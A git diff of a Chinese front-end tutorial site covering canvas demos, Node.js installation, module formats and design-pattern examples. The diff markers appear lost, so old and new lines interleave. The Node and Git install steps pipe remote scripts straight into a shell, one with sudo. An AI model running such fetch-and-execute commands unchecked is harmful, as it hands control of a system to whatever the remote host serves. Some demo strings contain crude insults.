ctx.strokeStyle = '#09f';
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(10, 20);
|
||||
ctx.lineTo(140, 20);
|
||||
ctx.moveTo(10, 130);
|
||||
ctx.lineTo(140, 130);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.strokeStyle = 'black';
|
||||
for (let i = 0; i < lineCap.length; i++) {
|
||||
ctx.lineWidth = 15;
|
||||
ctx.lineCap = lineCap[i];
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(25 + i * 50, 20);
|
||||
ctx.lineTo(25 + i * 50, 130);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* round 圆角线段
|
||||
* bevel 不让线段超过最大
|
||||
*/
|
||||
function demo7() {
|
||||
let canvas = canvasRef7.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let lineJoin = ['round', 'bevel', 'miter'];
|
||||
|
||||
ctx.lineWidth = 10;
|
||||
for (let i = 0; i < lineJoin.length; i++) {
|
||||
ctx.lineJoin = lineJoin[i];
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(-5, 5 + i * 40);
|
||||
ctx.lineTo(35, 45 + i * 40);
|
||||
ctx.lineTo(75, 5 + i * 40);
|
||||
ctx.lineTo(115, 45 + i * 40);
|
||||
ctx.lineTo(155, 5 + i * 40);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* setLineDash 虚线交替样式
|
||||
* lineDashOffset 偏移量
|
||||
*/
|
||||
function demo8() {
|
||||
let canvas = canvasRef8.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let offset = 0;
|
||||
|
||||
function march() {
|
||||
offset++;
|
||||
|
||||
if (offset > 16) {
|
||||
offset = 0;
|
||||
}
|
||||
_draw();
|
||||
setTimeout(march, 50);
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
|
||||
ctx.beginPath()
|
||||
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
function _draw() {
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
ctx.lineWidth = 2;
|
||||
ctx.setLineDash([4, 2]);
|
||||
ctx.lineDashOffset = -offset;
|
||||
ctx.strokeRect(10, 10, 100, 100);
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
march();
|
||||
}
|
||||
|
||||
ctx.fillStyle = '#fd0'
|
||||
ctx.fillRect(0, 0, 75,75)
|
||||
ctx.fillStyle = '#6c0'
|
||||
ctx.fillRect(75, 0, 75, 75)
|
||||
ctx.fillStyle = '#09f'
|
||||
ctx.fillRect(0, 75, 75, 75)
|
||||
ctx.fillStyle = '#f30'
|
||||
ctx.fillRect(75, 75, 75, 75)
|
||||
function demo9() {
|
||||
let canvas = canvasRef9.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = '#fff'
|
||||
ctx.globalAlpha = 0.2
|
||||
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150);
|
||||
lineargradient.addColorStop(0, '#00abeb');
|
||||
lineargradient.addColorStop(0.5, '#fff');
|
||||
lineargradient.addColorStop(0.5, '#26c000');
|
||||
lineargradient.addColorStop(1, '#fff');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
}
|
||||
}
|
||||
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95);
|
||||
radialgradient.addColorStop(0.5, '#000');
|
||||
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0');
|
||||
|
||||
function demo4() {
|
||||
let canvas = canvasRef4.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
ctx.fillStyle = lineargradient;
|
||||
ctx.strokeStyle = radialgradient;
|
||||
|
||||
ctx.fillStyle = 'rgb(255, 221, 0)'
|
||||
ctx.fillRect(0, 0, 200, 50)
|
||||
ctx.fillStyle = 'rgb(102, 204, 0)'
|
||||
ctx.fillRect(0, 50, 200, 50)
|
||||
ctx.fillStyle = 'rgb(0, 153, 255)'
|
||||
ctx.fillRect(0, 100, 200, 50)
|
||||
ctx.fillStyle = 'rgb(255, 51, 0)'
|
||||
ctx.fillRect(0, 150, 200, 50)
|
||||
ctx.fillRect(10, 10, 130, 130);
|
||||
ctx.strokeRect(50, 50, 50, 50);
|
||||
}
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`
|
||||
for (let j = 0; j < 4; j++) {
|
||||
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40)
|
||||
}
|
||||
}
|
||||
}
|
||||
function demo10() {
|
||||
let canvas = canvasRef10.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
function demo5() {
|
||||
let canvas = canvasRef5.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30);
|
||||
radgrad.addColorStop(0, '#a7d30c');
|
||||
radgrad.addColorStop(0.9, '#019f62');
|
||||
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0');
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.lineWidth = 1 + i
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(5.5 + i * 14, 5.5)
|
||||
ctx.lineTo(5.5 + i * 14, 140.5)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
|
||||
radgrad2.addColorStop(0, '#fff');
|
||||
radgrad2.addColorStop(0.75, '#ff0188');
|
||||
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
|
||||
|
||||
function demo6() {
|
||||
let canvas = canvasRef6.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let lineCap = ['butt', 'round', 'square']
|
||||
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
|
||||
radgrad3.addColorStop(0, '#f4f201');
|
||||
radgrad3.addColorStop(0.8, '#00B5E2');
|
||||
radgrad3.addColorStop(1, '#00B5E2');
|
||||
|
||||
ctx.strokeStyle = '#09f'
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(10, 20)
|
||||
ctx.lineTo(140, 20)
|
||||
ctx.moveTo(10, 130)
|
||||
ctx.lineTo(140, 130)
|
||||
ctx.stroke()
|
||||
ctx.fillStyle = radgrad3;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
ctx.fillStyle = radgrad2;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
ctx.fillStyle = radgrad;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
}
|
||||
|
||||
ctx.strokeStyle = 'black'
|
||||
for (let i = 0; i < lineCap.length; i++) {
|
||||
ctx.lineWidth = 15
|
||||
ctx.lineCap = lineCap[i]
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(25 + i * 50, 20)
|
||||
ctx.lineTo(25 + i * 50, 130)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
function demo11() {
|
||||
let canvas = canvasRef11.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
/**
|
||||
* round 圆角线段
|
||||
* bevel 不让线段超过最大
|
||||
*/
|
||||
function demo7() {
|
||||
let canvas = canvasRef7.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let lineJoin = ['round', 'bevel', 'miter']
|
||||
// 创建 img,作为图案
|
||||
let img = new Image();
|
||||
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
|
||||
|
||||
ctx.lineWidth = 10
|
||||
for (let i = 0; i < lineJoin.length; i++) {
|
||||
ctx.lineJoin = lineJoin[i]
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(-5, 5 + i * 40)
|
||||
ctx.lineTo(35, 45 + i * 40)
|
||||
ctx.lineTo(75, 5 + i * 40)
|
||||
ctx.lineTo(115, 45 + i * 40)
|
||||
ctx.lineTo(155, 5 + i * 40)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
img.onload = function () {
|
||||
let ptrn = ctx.createPattern(img, 'repeat');
|
||||
ctx.fillStyle = ptrn;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* setLineDash 虚线交替样式
|
||||
* lineDashOffset 偏移量
|
||||
*/
|
||||
function demo8() {
|
||||
let canvas = canvasRef8.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let offset = 0
|
||||
function demo12() {
|
||||
let canvas = canvasRef12.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
function march() {
|
||||
offset++
|
||||
ctx.beginPath();
|
||||
ctx.fillStyle = '#aaa';
|
||||
ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
|
||||
ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
|
||||
ctx.fill('evenodd');
|
||||
}
|
||||
|
||||
if (offset > 16) {
|
||||
offset = 0
|
||||
}
|
||||
_draw()
|
||||
setTimeout(march, 50)
|
||||
}
|
||||
useEffect(() => {
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
demo4();
|
||||
demo5();
|
||||
demo6();
|
||||
demo7();
|
||||
demo8();
|
||||
demo9();
|
||||
demo10();
|
||||
demo11();
|
||||
demo12();
|
||||
}, []);
|
||||
|
||||
function _draw() {
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height)
|
||||
ctx.lineWidth = 2
|
||||
ctx.setLineDash([4, 2])
|
||||
ctx.lineDashOffset = -offset
|
||||
ctx.strokeRect(10, 10, 100, 100)
|
||||
}
|
||||
|
||||
march()
|
||||
}
|
||||
|
||||
function demo9() {
|
||||
let canvas = canvasRef9.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150)
|
||||
lineargradient.addColorStop(0, '#00abeb')
|
||||
lineargradient.addColorStop(0.5, '#fff')
|
||||
lineargradient.addColorStop(0.5, '#26c000')
|
||||
lineargradient.addColorStop(1, '#fff')
|
||||
|
||||
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95)
|
||||
radialgradient.addColorStop(0.5, '#000')
|
||||
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0')
|
||||
|
||||
ctx.fillStyle = lineargradient
|
||||
ctx.strokeStyle = radialgradient
|
||||
|
||||
ctx.fillRect(10, 10, 130, 130)
|
||||
ctx.strokeRect(50, 50, 50, 50)
|
||||
}
|
||||
|
||||
function demo10() {
|
||||
let canvas = canvasRef10.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30)
|
||||
radgrad.addColorStop(0, '#a7d30c')
|
||||
radgrad.addColorStop(0.9, '#019f62')
|
||||
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0')
|
||||
|
||||
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50)
|
||||
radgrad2.addColorStop(0, '#fff')
|
||||
radgrad2.addColorStop(0.75, '#ff0188')
|
||||
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)')
|
||||
|
||||
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90)
|
||||
radgrad3.addColorStop(0, '#f4f201')
|
||||
radgrad3.addColorStop(0.8, '#00B5E2')
|
||||
radgrad3.addColorStop(1, '#00B5E2')
|
||||
|
||||
ctx.fillStyle = radgrad3
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
ctx.fillStyle = radgrad2
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
ctx.fillStyle = radgrad
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
}
|
||||
|
||||
function demo11() {
|
||||
let canvas = canvasRef11.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
// 创建 img,作为图案
|
||||
let img = new Image()
|
||||
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png'
|
||||
|
||||
img.onload = function () {
|
||||
let ptrn = ctx.createPattern(img, 'repeat')
|
||||
ctx.fillStyle = ptrn
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
}
|
||||
}
|
||||
|
||||
function demo12() {
|
||||
let canvas = canvasRef12.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.fillStyle = '#aaa'
|
||||
ctx.arc(50, 50, 30, 0, Math.PI * 2, true)
|
||||
ctx.arc(50, 50, 15, 0, Math.PI * 2, true)
|
||||
ctx.fill('evenodd')
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
demo4()
|
||||
demo5()
|
||||
demo6()
|
||||
demo7()
|
||||
demo8()
|
||||
demo9()
|
||||
demo10()
|
||||
demo11()
|
||||
demo12()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
<canvas ref={canvasRef2} width="200" height="200" />
|
||||
<canvas ref={canvasRef3} width="200" height="200" />
|
||||
<canvas ref={canvasRef4} width="200" height="200" />
|
||||
<canvas ref={canvasRef5} width="200" height="200" />
|
||||
<canvas ref={canvasRef6} width="200" height="200" />
|
||||
<canvas ref={canvasRef7} width="200" height="200" />
|
||||
<canvas ref={canvasRef8} width="200" height="200" />
|
||||
<canvas ref={canvasRef9} width="200" height="200" />
|
||||
<canvas ref={canvasRef10} width="200" height="200" />
|
||||
<canvas ref={canvasRef11} width="200" height="200" />
|
||||
<canvas ref={canvasRef12} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
<canvas ref={canvasRef2} width="200" height="200" />
|
||||
<canvas ref={canvasRef3} width="200" height="200" />
|
||||
<canvas ref={canvasRef4} width="200" height="200" />
|
||||
<canvas ref={canvasRef5} width="200" height="200" />
|
||||
<canvas ref={canvasRef6} width="200" height="200" />
|
||||
<canvas ref={canvasRef7} width="200" height="200" />
|
||||
<canvas ref={canvasRef8} width="200" height="200" />
|
||||
<canvas ref={canvasRef9} width="200" height="200" />
|
||||
<canvas ref={canvasRef10} width="200" height="200" />
|
||||
<canvas ref={canvasRef11} width="200" height="200" />
|
||||
<canvas ref={canvasRef12} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```js
|
||||
|
||||
```
|
||||
```
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 4
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 文字
|
||||
@ -13,65 +14,63 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef2 = useRef()
|
||||
const canvasRef3 = useRef()
|
||||
const canvasRef = useRef();
|
||||
const canvasRef2 = useRef();
|
||||
const canvasRef3 = useRef();
|
||||
|
||||
// 填充文本
|
||||
function demo1() {
|
||||
// 声明DOM
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
// 填充文本
|
||||
function demo1() {
|
||||
// 声明DOM
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.shadowOffsetY = 8
|
||||
ctx.shadowOffsetX = 8
|
||||
ctx.shadowBlur = 3
|
||||
ctx.shadowColor = '#ccc'
|
||||
ctx.shadowOffsetY = 8;
|
||||
ctx.shadowOffsetX = 8;
|
||||
ctx.shadowBlur = 3;
|
||||
ctx.shadowColor = '#ccc';
|
||||
|
||||
ctx.font = '40px serif'
|
||||
ctx.fillText('1. 你是个智障!', 50, 50)
|
||||
}
|
||||
ctx.font = '40px serif';
|
||||
ctx.fillText('1. 你是个智障!', 50, 50);
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.font = '48px serif'
|
||||
ctx.strokeText('2. hello world', 10, 50)
|
||||
}
|
||||
ctx.font = '48px serif';
|
||||
ctx.strokeText('2. hello world', 10, 50);
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.font = '40px serif'
|
||||
ctx.textBaseline = 'top'
|
||||
ctx.textAlign = 'start'
|
||||
ctx.strokeText('hello world', 0, 100)
|
||||
}
|
||||
ctx.font = '40px serif';
|
||||
ctx.textBaseline = 'top';
|
||||
ctx.textAlign = 'start';
|
||||
ctx.strokeText('hello world', 0, 100);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="500" height="200" />
|
||||
<canvas ref={canvasRef2} width="500" height="200" />
|
||||
<canvas ref={canvasRef3} width="500" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="500" height="200" />
|
||||
<canvas ref={canvasRef2} width="500" height="200" />
|
||||
<canvas ref={canvasRef3} width="500" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```ts
|
||||
window.onload = function () {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
};
|
||||
```
|
||||
|
@ -8,73 +8,80 @@ group:
|
||||
path: /node
|
||||
---
|
||||
|
||||
|
||||
# 💊 node
|
||||
|
||||
基于 chrome 的 V8引擎 封装的一个JavaScript运行环境,事件驱动、非阻塞IO进程模型,它能让js代码运行在服务端。
|
||||
基于 chrome 的 V8 引擎 封装的一个 JavaScript 运行环境,事件驱动、非阻塞 IO 进程模型,它能让 js 代码运行在服务端。
|
||||
|
||||
对于前端工程师来说具有极大的意义,也让前端工程师离全栈工程师更近了一步。
|
||||
|
||||
对标产品为基于 rust、Tokio 的deno(destroy node),deno 具有更高的效率,并且原生就支持 typescript
|
||||
对标产品为基于 rust、Tokio 的 deno(destroy node),deno 具有更高的效率,并且原生就支持 typescript
|
||||
|
||||
## 安装
|
||||
### 方法1
|
||||
#### 拉取nvm
|
||||
|
||||
- wget -qO- [https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh](https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh) | bash
|
||||
#### 安装nvm
|
||||
### 方法 1
|
||||
|
||||
#### 拉取 nvm
|
||||
|
||||
<!-- 版本好可以根据需求来变更 14.X 16.X -->
|
||||
|
||||
- curl -fsSL https://rpm.nodesource.com/setup_16.x | sudo bash -
|
||||
|
||||
- sudo yum install -y nodejs
|
||||
|
||||
#### 安装 nvm
|
||||
|
||||
```javascript
|
||||
// 打开bash
|
||||
source ~/.bash_profile
|
||||
|
||||
// 写入 node文件指向
|
||||
export NODE_HOME=/usr/local/tool/nodejs/node
|
||||
export NODE_HOME=/usr/local/tool/nodejs/node
|
||||
export PATH=$NODE_HOME/bin:$PATH
|
||||
```
|
||||
|
||||
- nvm install node(版本号)or nvm install stable
|
||||
- 方案2
|
||||
- curl --silent --location [https://rpm.nodesource.com/setup_11.x](https://rpm.nodesource.com/setup_11.x)| sudo bash -
|
||||
### 方法2
|
||||
|
||||
### 方法 2
|
||||
|
||||
1. 第一步
|
||||
```
|
||||
|
||||
```js
|
||||
wget https://npm.taobao.org/mirrors/node/v12.16.1/node-v12.16.1-linux-x64.tar.gz
|
||||
```
|
||||
|
||||
|
||||
2. 第二步
|
||||
|
||||
```
|
||||
tar -xvf node-v12.16.1-linux-x64.tar.gz
|
||||
yum install gcc gcc-c++
|
||||
```
|
||||
|
||||
|
||||
3. 第三步
|
||||
|
||||
```
|
||||
mv node-v12.16.1-linux-x64.tar.gz node
|
||||
```
|
||||
|
||||
4. 第四步
|
||||
|
||||
```
|
||||
ln -s /usr/local/bin/node/bin/node /usr/bin/node
|
||||
ln -s /usr/local/bin/node/bin/npm /usr/bin/npm
|
||||
ln -s /usr/local/bin/node/bin/npx /usr/bin/npx
|
||||
```
|
||||
|
||||
|
||||
### 安装 GIT
|
||||
|
||||
- curl [https://setup.ius.io](https://setup.ius.io) | sh
|
||||
- yum install -y git2u
|
||||
- git --version
|
||||
|
||||
- curl [https://setup.ius.io](https://setup.ius.io) | sh
|
||||
- yum install -y git2u
|
||||
- git --version
|
||||
|
||||
## cjs、esm、umd 的区别
|
||||
|
||||
首先运行端的区别,cjs和esm只能运行在node端,而umd可以同时运行在node和浏览器端
|
||||
首先运行端的区别,cjs 和 esm 只能运行在 node 端,而 umd 可以同时运行在 node 和浏览器端
|
||||
|
||||
1. cjs 即为 CommonJs, 属于早期的node规范,可以使用require进行引用,module.exports 导出。
|
||||
2. esm 即为 Es module,属于es6提出之后版本的新的规范,语法是可以用 import 引用,export default 导出。
|
||||
3. umd 即为 Universal Module Definition(通用模块定义),也就是最基本的可在浏览器和node端执行的 js 代码。
|
||||
1. cjs 即为 CommonJs, 属于早期的 node 规范,可以使用 require 进行引用,module.exports 导出。
|
||||
2. esm 即为 Es module,属于 es6 提出之后版本的新的规范,语法是可以用 import 引用,export default 导出。
|
||||
3. umd 即为 Universal Module Definition(通用模块定义),也就是最基本的可在浏览器和 node 端执行的 js 代码。
|
||||
|
@ -5,11 +5,12 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 1
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 关于
|
||||
|
||||
学习设计模式,是为了让你的代码减少亢余,能用健壮的代码去解决问题,提升可维护性与拓展性。
|
||||
学习设计模式,它是一种思维模式,目的是为了让代码减少亢余,能用比较结构化的代码去解决问题,提升可维护性与拓展性。
|
||||
|
||||
**想做靠谱开发,先学设计模式**
|
||||
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 6
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 行为型
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 2
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 创建型
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 4
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 结构型
|
||||
@ -15,7 +16,7 @@ group:
|
||||
|
||||
将一个类的接口转化为另外一个接口,以满足用户需求,使类之间接口不兼容问题通过适配器得以解决。
|
||||
|
||||
案例:新来的大卫封装了个 **fetch** 请求库,但是公司以前的网络请求方法是基于 **XMLHttpRequest** 的,老板想大卫去改这已经写好的9999个接口的请求,大卫使用了适配器模式去兼容,如下:
|
||||
案例:新来的大卫封装了个 **fetch** 请求库,但是公司以前的网络请求方法是基于 **XMLHttpRequest** 的,老板想大卫去改这已经写好的 9999 个接口的请求,大卫使用了适配器模式去兼容,如下:
|
||||
|
||||
```js
|
||||
// RequestUtil 请求库
|
||||
@ -81,7 +82,7 @@ function Ajax(type, url, data, success, failed){
|
||||
// 发送post请求
|
||||
xhr.send(data);
|
||||
}
|
||||
|
||||
|
||||
// 处理返回数据
|
||||
xhr.onreadystatechange = function(){
|
||||
if(xhr.readyState == 4){
|
||||
@ -136,20 +137,20 @@ Ajax('get', 'https://nicecoders.github.io', data, function(res){
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useState, useEffect } from 'react';
|
||||
import '@nicecode/css'
|
||||
import '@nicecode/css';
|
||||
|
||||
class Modal {
|
||||
constructor(opt = {}) {
|
||||
const { dom } = opt
|
||||
const { dom } = opt;
|
||||
|
||||
this.dom = dom
|
||||
this.dom = dom;
|
||||
}
|
||||
|
||||
show() {
|
||||
this.dom.innerHTML = '卧槽';
|
||||
this.dom.style.display = 'block'
|
||||
this.dom.style.width = '200px'
|
||||
this.dom.style.textAlign = 'center'
|
||||
this.dom.style.display = 'block';
|
||||
this.dom.style.width = '200px';
|
||||
this.dom.style.textAlign = 'center';
|
||||
}
|
||||
|
||||
hide() {
|
||||
@ -159,65 +160,81 @@ class Modal {
|
||||
|
||||
class DecoratorModal {
|
||||
constructor(_oldModal) {
|
||||
this._oldModal = _oldModal
|
||||
this._oldModal = _oldModal;
|
||||
}
|
||||
|
||||
show() {
|
||||
this._oldModal.show()
|
||||
this._oldModal.show();
|
||||
|
||||
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角'
|
||||
this._oldModal.dom.style.color = '#aaa'
|
||||
this._oldModal.dom.style.borderRadius = '5px'
|
||||
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角';
|
||||
this._oldModal.dom.style.color = '#aaa';
|
||||
this._oldModal.dom.style.borderRadius = '5px';
|
||||
}
|
||||
|
||||
hide() {
|
||||
this._oldModal.hide()
|
||||
this._oldModal.hide();
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const modalRef = useRef(null)
|
||||
const [modal, setModal] = useState(null)
|
||||
const modalRef = useRef(null);
|
||||
const [modal, setModal] = useState(null);
|
||||
// 案例:原本有个按钮,新的需求要将按钮样式置灰,并且文案改为 快去登录
|
||||
const openModal = () => {
|
||||
modal.show()
|
||||
}
|
||||
modal.show();
|
||||
};
|
||||
|
||||
const hideModal = () => {
|
||||
modal.hide()
|
||||
}
|
||||
modal.hide();
|
||||
};
|
||||
|
||||
const decoratorModal = () => {
|
||||
let dom = new DecoratorModal(modal)
|
||||
let dom = new DecoratorModal(modal);
|
||||
|
||||
setModal(dom)
|
||||
}
|
||||
setModal(dom);
|
||||
};
|
||||
|
||||
const normalModal = () => {
|
||||
let dom = new Modal({
|
||||
dom: modalRef.current
|
||||
})
|
||||
dom: modalRef.current,
|
||||
});
|
||||
|
||||
setModal(dom)
|
||||
}
|
||||
setModal(dom);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
normalModal()
|
||||
}, [])
|
||||
normalModal();
|
||||
}, []);
|
||||
|
||||
let style = {
|
||||
margin: '0 6px',
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="decorator">
|
||||
<button style={style} onClick={openModal} >打开弹框</button>
|
||||
<button style={style} onClick={hideModal} >关闭弹框</button>
|
||||
<button style={style} onClick={decoratorModal} >添加适配器</button>
|
||||
<button style={style} onClick={normalModal} >清除适配器</button>
|
||||
<div ref={modalRef} style={{ display: 'none', marginTop: '20px', padding: '10px 20px', border: '1px solid #eee'}} ></div>
|
||||
<button style={style} onClick={openModal}>
|
||||
打开弹框
|
||||
</button>
|
||||
<button style={style} onClick={hideModal}>
|
||||
关闭弹框
|
||||
</button>
|
||||
<button style={style} onClick={decoratorModal}>
|
||||
添加适配器
|
||||
</button>
|
||||
<button style={style} onClick={normalModal}>
|
||||
清除适配器
|
||||
</button>
|
||||
<div
|
||||
ref={modalRef}
|
||||
style={{
|
||||
display: 'none',
|
||||
marginTop: '20px',
|
||||
padding: '10px 20px',
|
||||
border: '1px solid #eee',
|
||||
}}
|
||||
></div>
|
||||
</div>
|
||||
)
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
@ -230,9 +247,9 @@ function funcDecorator(type) {
|
||||
return function (target, name, descriptor) {
|
||||
if (type === 'class') {
|
||||
target.prototype.show = () => {
|
||||
console.log('装饰器处理后的类')
|
||||
}
|
||||
return target
|
||||
console.log('装饰器处理后的类');
|
||||
};
|
||||
return target;
|
||||
/**
|
||||
* or
|
||||
* return class NButton {
|
||||
@ -240,28 +257,29 @@ function funcDecorator(type) {
|
||||
* console.log('装饰器处理后')
|
||||
* }
|
||||
* }
|
||||
**/
|
||||
**/
|
||||
} else if (type === 'function') {
|
||||
const old = descriptor.value
|
||||
descriptor.value = function(...arg) { // 注意这里需要保留原this作用域,不能使用箭头函数
|
||||
console.log('----装饰器装饰函数----')
|
||||
const old = descriptor.value;
|
||||
descriptor.value = function (...arg) {
|
||||
// 注意这里需要保留原this作用域,不能使用箭头函数
|
||||
console.log('----装饰器装饰函数----');
|
||||
// 原函数
|
||||
return old.apply(this, arg)
|
||||
}
|
||||
return old.apply(this, arg);
|
||||
};
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
// 通过装饰器改变原有的 show 方法
|
||||
// @funcDecorator('class')
|
||||
class Button {
|
||||
show() {
|
||||
console.log('大卫的思想空间')
|
||||
console.log('大卫的思想空间');
|
||||
}
|
||||
|
||||
@funcDecorator('function')
|
||||
mb() {
|
||||
console.log('我是sb')
|
||||
console.log('我是sb');
|
||||
}
|
||||
}
|
||||
|
||||
@ -271,15 +289,10 @@ export default () => {
|
||||
// dom.show()
|
||||
